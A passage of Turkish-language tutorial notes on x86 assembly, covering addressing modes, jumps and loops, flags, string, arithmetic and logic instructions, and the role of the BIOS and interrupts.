veri CL'ye kopyalanır.
MOV [BX+DI],CL > CL'de bulunan veri BX+DI toplamı ile adreslenen alana
kopyalanır.
6.RegisterRelative Addressing(Kaydediciye Dayalı Göreceli Adresleme)
İndis veya baz register'larından herhangi birine bir sayı ileve edilmesiyle oluşan değerin
hafıza bölgesi ile işaret ettiği(hedef registera) registera kopyalanmasıdır.
MOV Register,[indis or baz + sayı]
Örnek:
MOV AX,[BX+50] > DS alanında bulunan BX+50 toplamı ile adreslenen veri
AX'e kopyalanır.
7.Base Relative-Plus-Index Addressing(Baz Göreceli-Artı-İndis Adresleme)
Register Relative benzemektedir. Buradaki fark indis ve baz registerlarının ikisininde
bulunmasıdır. Bunların üzerine bir de sayı eklenmesiyle oluşan değerin işaret ettiği hafıza
bölgesi ile register arasındaki kopyalama işlemidir.
MOV Register,[Baz + İndis + Sayı]
Örnek:
MOV AX,[BX+DI+5] > DS'de bulunan ve BX+DI+5 ile ifade edilen yerdeki
veriyi AX register'ına kopyalar.
Program Adresleme Modları
Programa karar verme özelliği sağlayarak program akışını kontrol eden veya değiştiren
adresleme modlarıdır.
JMP komutu sıkça kullanılır.
JMP komutu Nedir?
Programı belirtilen etiketin olduğu yere dallandırmakta ve program buradan çalışmaya devam
etmektedir.
JMP HEDEF
Kendi içerisinde üçe ayrılır.
1. Doğrudan(Direct) Program Hafıza Adresleme
2. Göreceli(Relative) Program Hafıza Adresleme
3. Dolaylı(Indirect) Program Hafıza Adresleme
1.Doğrudan(Direct) Program Hafıza Adresleme
Segmentler arası bir işlemdir.Mevcut kod segmentinden farklı bir kod segmentine geçiş
sağlar. Eğer doğrudan bir program adresine ulaşmak istiyorsak kullanabiliriz.
Bu adreslemede CS:IP çifti uygun şekilde değiştirilir.
Örnek:
JMP 200H:300H > CS <- 200H , IP <- 300H
2.Göreceli(Relative) Program Hafıza Adresleme
Mevcut IP register'ın değerine göre hangi program hafızasının adresleneceğini ifade eder.
Örnek:
JMP 100
JMP 0FFH
JMP 1000H
3.Dolaylı(Indirect) Program Hafıza Adresleme
16-bit register'lardan(AX,BX,CX,DX,SP,BP,SI,DI..) herhangi biri, göreceli bir registerı veya
bir yer değişim değeri ile beraber kullanılabilir.
Örnek:
JMP CX > o an hangi kod segmenti içindeysek, BX ile adreslenen hafıza
bölgesine dallan
JMP [BX] > o an hangi kod segmenti içindeysek, BX ile işaretli DS'de yer
alan bir ofset ile adreslenen yere dallan
Yığın Hafıza Adresleme Modları
Yığın hafıza verileri geçici olarak saklar. Yığın hafıza 8086/8088 ve diğer bir çok
mikroişlemcide LIFO(Last in First Out) prensibine göre çalışır. PUSH ve POP komutlarını
kullanılır.
PUSH komutu ile veri yığın üstüne yerleştirilir.
POP ile de veri yığından çekilir.
CS hariç tüm register'lar yığından veri çekebilir.
Örnek:
POP CS > Assembler hatası verir.
Yığın hafızadaki veri SS:SP çifti ile gösterilir.
Örnek:
PUSH AX > AX içeriğini yığına sakla
POP BX > Yığından BX register'ına oku
PUSH DS > DS'nin bir kopyasını yığına sakla
PUSHF > Flag register'ına yığına sakla
POPF > Yığından flag register'ına oku
VERİ TANIMLAMALARI
X86 AssemblyVeri Tanımlamaları
Assemblynedir?
Assemblydiğerprogramlama dillerine göre dahazor ve yazması daha uzundur. Ancak diğerdillere
göre birdençok üstünlüğübulunmaktadır. Bu dili kullanırkenkullanılanmakinenindonanımsal
özelliklerininiyi birşekilde bilinmesi gerekmektedir.
Başlatılan verileriçinVeri tanımlama:
DB (Define Byte) = 1 byte veri tanımlar.
DW (Define Word) = 2 byte veri tanımlar.
DD (Define Doubleword) =4 byte veri tanımlar.
DF (Define Far Word):6 byte veri tanımlar.
DQ (Define Quadword) = 8 byte veri tanımlar.
DT (Define Tenbyte) =10 byte veri tanımlar.
DUP = Duplicate
Kod:
section .text
global _start
_start: ; giriş noktası
movedx,5 ; mesaj uzunluğu
movecx,choice ; yazılacak mesaj
movebx,1 ; dosya tanımlayacısı
moveax,4 ; sistem çağrı numarası (sys_write)
int0x80 ; çağrı çekirdeği
section .data
choice DW 'bunny'
Bu kodu çalıştırdığımızda bize çıktı olarak bunny yazısını verecektir.
Burada bulunan değişkeni db olarak tanımlarsak hafızada 1 byte değer ayırır.
dw olarak tanımlarsak 2 byte değer ayırır.
Burada mov ile xe deneme1 değişken değerini atadı.
db ile 8bitlik bir veri tanımladık ancak 16 bitlik bir ax registerinde yazmaya
çalışırsak hata verecektir. 16 bit registerın neresine yazayım bu 8 biti ben
diyor. Bu hatayı düzeltmek için ise;
Word ptr kullanabiliriz. Word ptr sayesinde tamam 16 bitsen 8 biti al kendi
içinde yer alan 8 bitlik registera aktar diyoruz.
word ptr detaylı bilgi: https://www.youtube.com/watch?v=owCyceN3ALk
Bu konumunda burda sonuna gelmiş bulunmaktayım.
Bugs Bunny iyi günler diler.
KONTROL YAPILARI VE DÖNGÜLER
Kontrol Y
apıları
Assambly dilinde Kontrol Yapılarını inceleyelim Assembly dilinde Kontrol işlemleri,
birkaç döngü ve dallanma talimatıyla gerçekleştirilir. İncelemeye Koşullu atlama ve
Koşulsuz atlama ile başlayalım sonrada Döngüler şeklinde devam edelim.
Koşulsuz Atlama
JMP talimatı ile gerçekleştirilir. Bir koşula bağlı olarak bir dizi atlama talimatı söz
konusu değildir. Koşullu yürütme, genellikle o anda yürütülmekte olan talimatı takip
etmeyen bir talimatın adresine bir kontrol aktarımını gerçekleştirir. Kontrolün devri ileri
yönlü ve yeni bir talimatlar dizisini uygulamak için veya aynı adımları yeniden
uygulamak için kullanılabilinir.
Koşullu Atlama
Koşullu atlama koşula bağlı olarak bir dizi atlama talimatı ( j <koşul> ) ile
gerçekleştirilir. Koşullu komutlar, sıralı akışı keserek kontrolü aktarır ve bunu (IP)'
deki ofset değerini değiştirerek yaparlar.
Koşullu atlatmanın detayına inmeden önce CMP kavramın değinmemiz daha doğru
olaçaktır
CMP
Cmp işlenen iki değeri karşılaştırır. Genelde şartlı durumlar için kullanılır. Bu komut
temelde işlenenlerin eşit olup olmadığını karşılaştırmak için bir işleneni diğerinden
çıkarır ve karar verme durumunda koşullu atlama talimatıyla birlikte kullanılır. Hedef
veya kaynaktan gelen değerde herhangi bir oynama söz konusu değildir.
CMP iki sayısal veri alanını karşılaştırmakla birlikte gelen veriler sabit veya anlık
olması durumu değiştirmez ASM yazım şekli olarakta
( CMP hedef,kaynak )
yukarıdaki formatta karşımıza çıkmaktadır.
CMP genellikle bir sayaç değerinin bir döngünün çalıştırılması gereken sayıya ulaşıp
ulaşmadığını karşılaştırmak için kullanılabilir. Burada JE komutu zero flag aktif ise
atlama işlemini gerçekleştiriyor.
Koşulsuz Atlama
Yukarıda bahsettiğim gibi, bu JMP talimatı ile gerçekleştirilir. Koşullu işlem esnasında
genellikle o anda işlem gören olan talimatı takip etmeyen bir talimatın adresine bir
kontrol aktarımını barındırır. Kontrolün devri ileri, yeni bir talimatlar dizisini uygulamak
için veya aynı adımları yeniden uygulamak için kullanılabilir olabilir.
JMP Kullanım Şekli ( JMP Label )
Koşullu Atlama
Koşullu atlamada belirtilen koşullar karşılanırsa akış belirtilen hedefe doğru aktarılır.
Koşul ve verilere bağlı olarak çok sayıda koşullu atlama yöntemleri vardır.
Bunu yazılım dillerinde kullanılan ( if / elif / else ) koşullarına benzetebiliriz ; koşul ve
durumlara göre nasıl yazıyorsak burada da aynı mantalite ancak assembly de koşullu
atlama ikiye ayrılmaktadır. Aritmetik ve Mantıksal işlemler için farklı atlama talimatları
kullanılmaktadır.
Aritmetik işlemlerde kullanılan atlama talimatları
Mantıksal işlemlerde kullanılan atlama talimatları
Aşağıda da koşullu atlamada kullanılan diğer talimatları görmekteyiz
Son olarak da Test edilen bayraklar daha doğrusu Kontrol Kayıtlarının kısaltmalarının
açıklamalarına değinecek olursak
Overflow Flag (OF) - İmzalı bir aritmetik işlemden sonra yüksek dereceli bir veri
bitinin (en soldaki bit) taşmasını gösterir.
Direction Flag (DF) - Dizi verilerini hareket ettirmek veya karşılaştırmak için sol
veya sağ yönü belirler. DF değeri 0 olduğunda, dizi işlemi soldan sağa ve değer 1
olarak ayarlandığında, dizi işlemi sağdan sola doğru olur.
Interrupt Flag (IF) - Klavye girişi vb. Gibi harici kesintilerin yok sayılacağını veya
işleneceğini belirler. Değer 0 olduğunda harici kesmeyi devre dışı bırakır ve 1'e
ayarlandığında kesmeleri etkinleştirir.
Trap Flag (TF) - İşlemcinin çalışmasını tek adımlı modda ayarlamaya izin verir.
Kullandığımız DEBUG programı tuzak bayrağını ayarlar, böylece her seferinde bir
komut yürütme aşamasına geçebiliriz.
Sign Flag (SF) - Bir aritmetik işlemin sonucunun işaretini gösterir. Bu bayrak,
aritmetik işlemin ardından bir veri öğesinin işaretine göre ayarlanır. İşaret, en soldaki
bitin yüksek sırasıyla gösterilir. Pozitif bir sonuç, SF'nin değerini 0'a temizler ve
negatif sonuç onu 1'e ayarlar.
Zero Flag (ZF) - Bir aritmetik veya karşılaştırma işleminin sonucunu gösterir. Sıfır
olmayan bir sonuç sıfır bayrağını 0 olarak temizler ve sıfır sonuç onu 1 olarak ayarlar.
Auxiliary Carry Flag (AF) - Bir aritmetik işlemin ardından bit 3'ten bit 4'e taşımayı
içerir; özel aritmetik için kullanılır. AF, 1 baytlık bir aritmetik işlem, bit 3'ten bit 4'e
taşınmaya neden olduğunda ayarlanır.
Parity Flag (PF) - Bir aritmetik işlemden elde edilen sonuçtaki toplam 1 bit sayısını
gösterir. 1 bitlik çift sayı, eşlik bayrağını 0'a, tek sayıdaki 1 bitlik eşlik bayrağını 1'e
ayarlar.
Carry Flag (CF) - Bir aritmetik işlemden sonra yüksek dereceli bir bitten (en soldaki)
0 veya 1'in taşınmasını içerir. Ayrıca, bir kaydırma veya döndürme işleminin son
bitinin içeriğini de depolar.
Döngüler
JMP gibi kontrol talimatı döngüler için kullanılabilir. Örneğin, aşağıdaki kod parçacığı
döngü gövdesini 6 kez çalıştırmak için kullanılabilir.
kontrol talimatları dışında oluşturabileceğimiz döngü talimatı LOOP dur. Kullanım
şekli ise
LOOP label
şeklindedir bununla birlikte LOOP komutu, ECX kaydının döngü sayısını içerdiğini
varsayar. Döngü başladığında, ECX kaydı bir bir azaltılır ve kontrol, ECX kayıt
değeri, yani sayaç sıfır değerine ulaşıncaya kadar döngü devam eder.
yukarıdaki örnek kod betiğinde de görüleceği üzere döngünün 2 kere tekrarlanmasını istiyor.
Döngüler başlığının altında da gösterdiğim gibi LOOP ile olacak diye bir şart yok. Şimdi
başka bir örneği inceleyelim basit bir ( while ) döngüsünün assembly karşılığını inceleyelim
ve LOOP talimatını kullanmadan yapalım bunu
LOOP lu örneğimizde loop değeri eax daki veriden alıyordu ona göre döngü sayısını
belirliyordu
yani elimizdeki hedef sayıdan mevcut sayı çıkarılıp EAX registerine atanıp döngü sayısı ona
göre belirleniyordu
Yukarıdaki örnekte ise elimizdeki sayı ile hedefteki sayı eşit mi değil mi diye kontrol edilip
ona göre döngünün devam edip etmeyeceği kararına varılıyor. Kontrol mekanizması ise CMP
ile gerçekleştiriliyor. CMP nin mantığı bir değer diğerinden çıkarılıp Sıfıra eşit olma
durumuna göre atlamalar gerçekleşiyor.
Kontrol Yapıları başlığı altında CMP konusuna değinmiştik daha iyi pekiştirmek adına
konuyu tekrar inceleyebilirsiniz
STRING İŞLEMLERİ
Merhabalar,bu konumuzdaAssemblyprogramlamadilindestringişlemlerini inceleyeceğiz.Hemen
bir şeyleryazalımve üzerinekonuşalım.
Burada db yani 1 byte=8bitlikdeğertutanpve e karakterlerini tuttum.Source code kısmıbize bunu
söylüyor.Üsttarafa bakalım1000 ve 1001 offsetdeğerlerimizdepve e karakterlerini görüyoruz.70
hex değeri olarak,112 signedolarakp karakterini işaretediyor.1.offsetide buşekildesizyorumlayın.
Bunları variablesyani değişkentablomuzdandainceleyebiliriz.
P ve e yani 2 element,hex karşılıklarısıraylagördüğünüzgibi.
ASCIIolarakda görebiliyoruz.Buradanaktarabileceğimstringtanımlamasıyaparkenbyte,Word,
double Wordtiplerinde tanımlayabiliriz.
Stringişlemlerinde hedef veyakaynakkaydedicisi olarakAXregisterıkullanılırkenbellekadresini SIve
DI kaydedicileri tutar.BiryazınınbiryerdenkopyalanmasıolayınıdüşünürsekkaynakolarakDS,hedef
olarakES kullanılır.Aşağıdaki örneği inceleyelim.
İlksatırda data segmenti adresinialıyorum.Sonraki ikisatırdabuadresleri dsve essegmentlerine
aktarıyorum.
Şimdi satır satır incelediğimizdatasegmentininadresininax registerınaaktarıldığınıgörüyoruzbunun
da 712 adresine sahipolduğunugörmekteyiz.
Single stepdediğimzaman712 değeri ax içerisine kopyalandıgördüğünüzgibi.Sağtaraftamov
komutuişlendi,sol tarafta712 değeri ax içerisinedüştü.Şimdiise 2.satırıişleyeceğizve DS
segmentimizebakacağız.
DS segmentimeAXiçerisindeki712 değeri kopyalandışimdi 1adımdaha ilerleyelim.
Son adımdaES segmentime de ilgilideğeraktarıldıyani buradaAX’inbellekadresiDSve ES
segmentlerine kopyalandı.Buşekilde temel olarakbir işleyişe gözatmışolduk.Stringlerimizden
devamedelim.
Şimdi bukodlarımızı inceleyelim.Leakomutuile isimdeğişkeni içindeki offsetdeğeri si segmentine,
isim2içindeki offsetise di segmentineatanıyor.İsim2değeri 4.offsettenbaşlayacaktır.Yani isim2’nin
offsetdeğeri olan4di segmentine atanacaktır.
Burada enüst kısma gelirsekdefine byte tipindeyani 1byte değerinde pentkarakterleri isim
değişkeninde tutuluyor.Buradaisim2değişkeniiçinise 5byte yerayrılıyor.
Şimdi bukodlarımızı işletelim.
Tektek pentkarakterleri isim2değişkeniiçerisine aktarıldı.
Şimdi bukodsatırlarımızda ise lodsbile isimdeğişkeni içindeki ilkoffsetolanpharfi ax registerıiçine
aktarılacak.Stosb bu p harfini alacakve isim2’niniçineyerleştirecek.
Yani programişlevinibitirdiği zamanisim2içine pharfi atanacaktır.
Buradaki örneğimizdeise cmpsbkomutunuinceleyeceğiz.
Bu program işlendiği zamanbizimbayraklarımızdanzeroflag1 değerini alacaktır.
Şimdi bunedir?Bizimburadaiki adet aynı değerleritaşıyandeğişkenlerimizvar.İlgilioffsetleralınıyor
leakomutuile ve ensondaise cmpsbdevreye giriyor.Yani bukomutumuz2değerineşitolup
olmadığını kontrol ediyorkarşılaştırmayapıyorve olumluise zeroflag1yanıyor. Bizimiki değerimizin
de offseti e harfini taşıyorhaliyleeşitolduklarındankarşılaştırmasonucundadeğerlerinaynı
olduğunugörüyoruz.
Burada ise p karakteri ax içine aktarılıyorcx registerıise isimdeğerimizinveri sayısınıtutuyor.scasb
ise p harfini isimdeğişkenimiziçinde arıyorve bulursazeroflag1 değerini alıyor.Aksi haldezeroflag
0 değerindekalacaktır.
ARİTMETİK MANTIK KOMUTLARI
Assembly Aritmetik ve Mantık Komutları
Aritmetik İşlemler
Aritmetik işlemler toplama(ADD-ADC), çıkarma(SUB-SBB), çarpma(MUL-IMUL) ve
Bölme(DIV,IDIV) olmak üzere 4 bölümden oluşur. Aritmetik işlemler bayrakları(flags)
etkilemektedir. Bayraklara bakılarak büyük-küçük kontrolleri, kalansız bölünüyor mu? gibi
kontroller yapilabilmektedir. Aritmetik işlemlere geçmeden önce bayraklara ufaktan
değinelim.
Bayraklar(flags)
Bayrak kaydedicileri 16 bit veri taşıyabilir, her bit bir bayrağı ifade eder.
Carry flag (CF)
İşaretsiz sayılarla yapılan işlemler sonucunda bir taşma söz konusu ise bu bayrak 1 yani aktif,
taşma meydana gelmiyor ise 0 yani pasiftir.
Örnekte de gözüktüğü üzere al 8 bitlik bir ifade ve al 0-255 arasında değerler alabilir. al ile bl
i toplayıp al'ye attığımız zaman bir taşma oluyor ve carry flag aktifleşiyor.
Parity flag (PF)
İşlemin sonucundaki değerdeki 1 olan bitlerin sayısı çift sayı ise bu bayrak 1 yani aktif eğer
işlemin sonucundaki değerde 1 olan bitlerin sayısı tek ise bu bayrak 0 yani pasif olur.
Burada al'deki 8 değeri ile bl'deki 9 değeri toplanıp al'ye yazıldı sonucun binary değeri
00010001 yani burada 1 olan bitlerin sayısı 2 çift sayıdır. Bu yüzden parity flag aktif oluyor.
Zero flag (ZF)
Herhangi bir işlem sonucunda sıfır değeri elde ediliyorsa bu bayrak 1 yani aktif eğer işlemin
sonucu sıfır değilse bu bayrak 0 yani pasif olur.
Buradaki örnekte al'ye atanan 1 değeri daha sonra dec komutu al'yi 1 azalttı ve al 0 oldu. Bu
yüzden zero flag aktif oluyor.
Sign flag (SF)
Aslında en basit ifade ile bu bayrak işlem sonucunda elde edilen değerin en soldaki bitini yani
işaret bitini tutuyor. İşlem sonucunda elde edilen değerin işaret bit'i 0 ise bu bayrak pasif 1 ise
aktif oluyor. Biz bir aritmetik işlemde sonucun negatif olup olmadığını bu bayrak sayesinde
anlayabiliriz.
Örnekte al'deki 9 değeri ile bl'deki -10 değeri toplanıp al'ye yazıldı binary değeri 11111111 en
soldaki bit yani işaret bit'i 1 olduğu için bu bayrak aktif durumdadır.
Overflow flag (OF)
İşaretli sayılarda yapılan işlemin sonucu işaretli sayı aralığında ise 0 yani pasif ama bir aşma
durumu var ise 1 yani aktif olur.
8 bitlik işaretli sayılarda en küçük değer -128 en büyük ise +127'dir. Burada al ile bl toplamı
130 al'ye aktarıldı. İşlemin sonucu işaretli sayı aralığını aşma durumu gerçekleştiği için bu
bayrak 1 yani aktif durumdadır.
Auxiliary carry flag (AF)
İşaretsiz sayılarda yapılan işlem sonucunda 4 bit'te taşma meydana geliyorsa Auxiliary carry
flag 1 yani aktif eğer taşma meydana gelmez ise 0 yani pasif olur.
Burayı şöyle düşünelim al'ye 10 değerini atadık yani 00001010, bl'ye 6 değerini atadık yani
00000110, ikisini toplayıp(10 + 6 = 16) al'ye atadık. Bilindiği üzere 4 bit 0-15 arasındaki
sayılar ile ifade ediliyordu. 00001010 + 00000110 = 00010000 görüldüğü gibi düşük değerli 4
bit'te taşma meydana geldi ve bu bayrak aktif duruma geçti.
Direction Flag (DF)
Ardışık verilerde özellikle string işlemlerinde kullanılan komutların ileri mi geri yönlü mü
çalışacağını belirlemektedir. Direction flag 1 ise geri yönlü 0 ise ileri yönlü işlem yapılır.
Interrupt enable Flag (IF)
Default olarak 1 değeri vardır. 1 yani aktif durumda iken işlemciye harici cihazlardan
kesme(interrupt) sinyalleri gönderilebilir.
Aritmetik Komutlar - Toplama(ADD-ADC)
ADD toplama, ADC elde ile toplamadır.ADD ile tek farkı elde bayrağının da(CF)
eklenmesidir.
ADD ile Toplama işlemi
İşlemin özeti: add deger1,deger2 -> deger1 = deger1 + deger2
register, register şeklinde kullanımı;
memory, register şeklinde kullanımı;
register, memory şeklinde kullanımı;
register, immediate şeklinde kullanımı;
memory, immediate şeklinde kullanımı;
Not: 8 bitlik kaydedicide toplama işleminin sonucu 8 bit'i aşarsa over flag(OF) ve carry
flag(FG) aktif olur.
ADC ile Toplama İşlemi
Yapılan işlemin özeti: adc deger1,deger2 -> deger1 = deger1 + deger2 + CF
ADC ile eldeli toplamaya gelecek olursak ADD için geçerli olan tüm durumlar burada da
geçerli. Yukarıda belirttiğimiz gibi tek fark elde bayrağının işin içine girmesidir.
Aritmetik Komutlar - Çıkarma(SUB-SBB)
SUB ve SBB ikisi de çıkarma işlemi gerçekleştirmek için kullanılır. Aralarındaki temel fark
SUB ile çıkarma işlemi yapılırken çıkarma işlemine CF dahil edilmez. SBB ile çıkarma işlemi
yapılırken çıkarma işlemine CF de dahil edilir.
register, register
memory, register
register, memory
register, immediate
memory, immediate
kullanımı mevcuttur. Bu yönden toplama işlemi ile bir fark yok. Yukarıdaki gibi her biri için
örnek vermeyeceğim.
SUB ile Çıkarma işlemi
İşlemin özeti: sub deger1,deger2 -> deger1 = deger1 - deger2
register, immediate şeklinde kullanıma örnek verdik.
register, register şeklinde kullanıma örnek verdik.
SBB ile Çıkarma işlemi
İşlemin özeti: sbb deger1,deger2 -> deger1 = deger1 - deger2 -CF
Bu örneği açıklayacak olursak al'ye 3 değeri atandı, daha sonra sub ile çıkarma işlemi yapıldı
ve 6 çıkarıldı. Bu sırada al değeri FD(253) oldu ve carry flag değeri 1 oldu. En son aşamada
sbb ile çıkarma işlemi yapıldı ve 2 çıkarıldı. Normal şartlarda 253 - 2 = 251 olması gerekiyor
fakat işin içine carry flag de dahil oldu ve 253 - 2 - 1 = 250 oldu. Carry flag ise 0 değerini
aldı.
Aritmetiksel Komutlar - Çarpma(MUL-IMUL)
MUL ve IMUL ile gerçekleştirilir.
İşlemin özeti: mul değer1 -> 8 bit = AX=AL*değer1 , 16 bit=(DX AX) = AX*değer1
MUL ile Çarpma İşlemi
İşaretsiz(unsigned) sayılarda çarpma işlemi yapılırken kullanılır.
Bu örnekte görüldüğü üzere bl, al ile çarpılarak ax içerisine yerleştirildi.
16 bit'le işlem yapıldığında bulunan sonuş dx ax ikilisinde tutuluyordu. Burada sonuç direkt
ax içerisinde gözüküyor. DX, çarpma sonrasında oluşan genişleme değerini tutar. Herhangi
bir genişleme olmadığı için 0 durumundadır.
IMUL ile Çarpma İşlemi
İşaretli(signed) sayılarda çarpma işlemi yapılırken kullanılır.
bl değeri 2 iken 4 eksiliyor ve işaretli sayılarda -2 oluyor. Daha sonra al 5 oluyor. 5 * (-2) = -
10 cevabını buluyoruz.
Aritmetiksel Komutlar - Bölme(DIV-IDIV)
DIV ve IDIV ile gerçekleştirilir.
İşlemin özeti: div değer1 -> 8 bit = AL=AX / değer1 AH = Kalan (Mod)
16 bit = AX=(DX AX) / değer1 DX = Kalan (mod)
DIV ile Bölme İşlemi
İşaretsiz(unsigned) sayılarda bölme işlemi yapılırken kullanılır.
BL içerisindeki 5, AX içerisindeki 51 ile bölme işlemine tabii tutuldu. 51 / 5 = 10 kalan ise 1.
Buradaki örnekte gözüktüğü üzere elde edilen sonuç yani bölüm al'de kalan ise ah'de
görülmektedir.
IDIV ile Bölme İşlemi
İşaretli(signed) sayılarda bölme işlemi yapılırken kullanılır.
Özetle (-182) / 9 = (-20) kalan ise -2 burada kalan aynı şekilde AH içerisinde gösterilirken
bölüm AL içerisinde gösterilmiş
Mantıksal Komutlar - AND
Genelde maskeleme amacı ile kullanılmaktadır. İstenilen bitlerin yok edilmesi için kullanılır.
İşlemin özeti: and değer1, değer2 -> değer1 ile değer2 and işlemine tabi tutulur. Sonuç
değer1'de saklanır.
0 ve 1 mantığı ile ifade edilirse;
1 AND 1 = 1
1 AND 0 = 0
0 AND 1 = 0
0 AND 0 = 0
Bu örnekte yaptığımız işlemi açıklayacak olursak al'de bulunan 'e' değerinin binary karşılığı
01100101 bu değeri 11011111 ile and işlemine tabi tutarsak 01000101 sonucunu veriyor.
01000101 sonucu ise 'E' nin karşılığıdır.
Mantıksal Komutlar - OR
OR komutu AND ile benzerdir maskeleme işlemi için kullanılır. İstenilen bitlerin
korunmasını sağlar.
İşlemin özeti: or değer1, değer2 -> değer1 ile değer2 or işlemine tabi tutulur. Sonuç değer1'de
saklanır.
0 ve 1 mantığı ile ifade edilirse;
1 OR 1 = 1
1 OR 0 = 1
0 OR 1 = 1
0 OR 0 = 0
Bu örnekte yaptığımız işlemi açıklayacak olursak al'de bulunan 'E' değerinin binary karşılığı
01000101 bu değeri 00100000 ile or işlemine tabi tutarsak 01100101 sonucunu veriyor.
01100101 sonucu ise 'e' nin karşılığıdır. Yani and işlemine benzer bir işlemdir.
Mantıksal Komutlar - XOR
Seçilen bit'in tersini alır.
İşlemin özeti: xor değer1, değer2 -> değer1 ile değer2 xor işlemine tabi tutulur. Sonuç
değer1'de saklanır.
0 ve 1 mantığı ile ifade edilirse;
1 XOR 1 = 0
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
Bu örneği açıklayacak olursak al içerisindeki 01000101 binary değeri 01010011 binary değeri
ile xor işlemi uyguladık. Sonuç olarak 00010110 binary değerini elde ettik.
Mantıksal Komutlar - NOT
Bütün bitlerin tersini alır.
İşlemin özeti: not değer1 -> değer1 içerisinde bulunan değerlerin bitlerinin tersini alır.
0 ve 1 mantığı ile ifade edilirse;
1 NOT = 0
0 NOT = 1
al içerisindeki 42 hex değerini not işlemi uyguladık. 42 hex değerinin binary karşılığı
01000010 not işlemi uygulanmış hali ise 10111101 dir.
Mantıksal Komutlar - TEST
and işlemine tabi tutulur fakat herhangi bir yerde saklanmaz. Sadece bayraklar etkilenir.
İŞLETİM SİSTEMİ VE BIOS İLİŞKİSİ
Öncelikle BIOS ve işletim sistemi nedir sorularını tek tek ele alalım...
İşletim Sistemi Nedir?
İşletim sistemleri, tüm donanım birimlerinin ve uygulama yazılımlarının yönetim ve
denetimini sağlayan bir yazılımlar bütünüdür. İşletim sistemi bilgisayar donanımları ve
uygulama yazılımların arasında köprü görevi üstlenmektedir.
İşletim sistemlerine GNU/Linux, Windows, MacOs, Unix, Android, ios vb. örnekleri verilebilir.
İşletim sistemleri sadece kullandığımız bilgisayar, telefon, web sunucularında değil,
otomobillerde, kol saatlerinde ve akıllı ev sistemlerinde de bulunmaktadır.
İşletim Sisteminin Görevleri Nelerdir?
1.İşlem Yönetimi
İşletim sistemleri için önemli bir parçadır. İşletim sistemi mevcut kaynakları işlemlere göre
ayırır, veri aktarımı/paylaşımına uygun hale getirir, işlemin kaynağını diğer işlemlerden
korur ve en önemlisi senkronizasyonu sağlar. Özetle işlemlerin belirli bir sırada ve zamanda
uygulanmasını sağlar.
2.Bellek Yönetimi
Ana belleğin işlemler arasında paylaştırılması işlemidir. İşletim sistemlerinde bu amaç
doğrultusundan oluşturulmuş kesime ise bellek yöneticisi(Memory Manager) adı verilir.
Bellek yöneticisi belleğin dolu ve boş kısımlarını kontrol eder, işlemler için gerekli belleği
ayırır ve o işlem bitince bu belleği tekrar boşaltır.
3.Dosya Yönetimi
İşletim sisteminin bir diğer görevi ise içlerinde verilerin tutulduğu tüm dosyaların
yönetimidir. Bu dosyalara erişim, yazma, okuma, silme, değiştirme vs. tüm işlemleri
yönetmektedir.
4.Giriş Çıkış Birimleri Yönetimi
Bir bilgisayar üzerinden örnek verecek olursak, bilgisayar ile çevre birimleri(örnek: mouse)
arasındaki veri alış verişini denetler.
Bunların dışında donanım ile iletişimi sağlama, ağ yönetimi, kesmeler, bilgisayar güvenliği
vb. konular da işletim sisteminin görevleri arasında yer alır.
BIOS Nedir?
Basic Input-Output System, Türkçe olarak ifade edecek olursak Temel Giriş-Çıkış Sistemi
kısaca özetlenecek olursa, EPROM adı verilen yonganın üzerinde ROM Bellek biçiminde yer
alan bir tür yazılımdır. EPROM ve ROM Belleği kısaca açıklayalım.
EPROM
Erasable Programmable Read Only Memory, Türkçe olarak ifade edecek olursak Silinip
Programlanabilir Salt Okunur Bellek. Dov Frohman tarafından icat edilen bu bellek türü güç
kaynağı kapatıldığında bile üzerindeki veriyi saklayabilen bir tür bilgisayar hafıza
yongasıdır. Saklanan bu veriler kalıcıdır. Bir kere programlandıktan sonra sadece kuvvetli
mor ötesi ışığa maruz kaldığında silinebilir.
ROM Bellek
Read-only Memory, Türkçe olarak ifade edecek olursak sadece okunabilir bellek
Türkçesinden de anlaşılacağı üzere sadece üretim anında yazılan bir bellek türüdür. Ram
gibi yazılıp silinemez, kullanıcı kendi isteği doğrultusunda programlayamaz.
BIOS'un görevi bilgisayar ilk açıldığı anda işlemciye diğer tüm donanımları tanıtmak ve
donanımların temel iletişim protokollerini belirlemektir.
Ayrıca işletim sistemi başlangıç öğelerinin herhangi bir sürücüden (hard disk sürücüsü, CD-
ROM vb.) yüklenmesini sağlar.
İşletim Sistemi ve BIOS Arasındaki İlişki
Yukarıda da bahsettiğimiz gibi BIOS işletim sisteminin başlangıç öğelerini yüklemekteydi.
İşletim sistemi ile donanım arasındaki tüm bağımsız sürücülerin yönetimini BIOS üstlenir.
Donanım üreticileri, sürücüleri işletim sistemine özgü olarak çıkartır. İşletim sistemleri
farklı yapılarda çalışabilir. Varsayılan olarak Windows olan bir sistemde MacOS, aynı
şekilde varsayılan olarak MacOs olan bir sistemde Windows çalıştırılabiliyor. İşte tam bu
noktada farklı donanımları işletim sistemine tanıtan BIOS'dur.
ek olarak IRQ, IVT ve BDA bahsedecek olursak..
IRQ(Interrupts) Nedir?
Türkçe anlam karşılığı "kesme"dir. Kesme mikro işlemcinin üzerinde çalıştığı koda ara
vererek başka bir kodu çalıştırması işlemidir. Kesmeler makine dilinde yazılmış bir çeşit
fonksiyonlardır. Çağırılması için bir programlama diline ihtiyaç yoktur. Çağrılma
kaynaklarına göre 3 bölümde incelenir.
1.Yazılım Kesmeleri
İşlevsel olarak normal bir fonksiyon çağırmadan farkı yoktur. INT hh makine komutuyla
koda dahil edilirler.
2.Donanım Kesmeleri
Fonksiyonla değil de elektriksel yolla çağırılmaktadırlar. Mikro işlemci ve mikro
denetleyicinin donanın kesmesi için bir INT ucu vardır. INT ucu uyarıldığında(buradaki
uyarılmadan kasıt elektriksel olarak 5v uygulanması veya 0v uygulanması anlamına gelir)
mikro işlemci o an çalıştırdığı koda ara vererek başka bir kodu çalıştırmaya geçer. Sonuç
olarak donanım kesmelerinin oluşması dış etkenlere ve elektriksel olaylara bağlıdır. Bu
yolla donanım kesmesi oluşturulmasına IRQ (interrupt request) denir.
3.İçsel Kesmeler
Mikro işlemci bir kodu çalıştırırken problemle karşılaşması durumunda kendi kendisini
çağırdığı kesmelerdir.
Bir bilgisayarda toplam 16 IRQ hattı bulunmaktadır.(0-15) Normal şartlarda bir IRQ'yi
yalnızca bir aygıtın kullanması gerekir. Aksi durumda işlemci şaşırır.
IRQ 0: Sistem saati.
IRQ 1: Klavye
IRQ 2: Programlanabilir IRQ denetçisi. (Modemler, COM3 ve COM 4 portları)
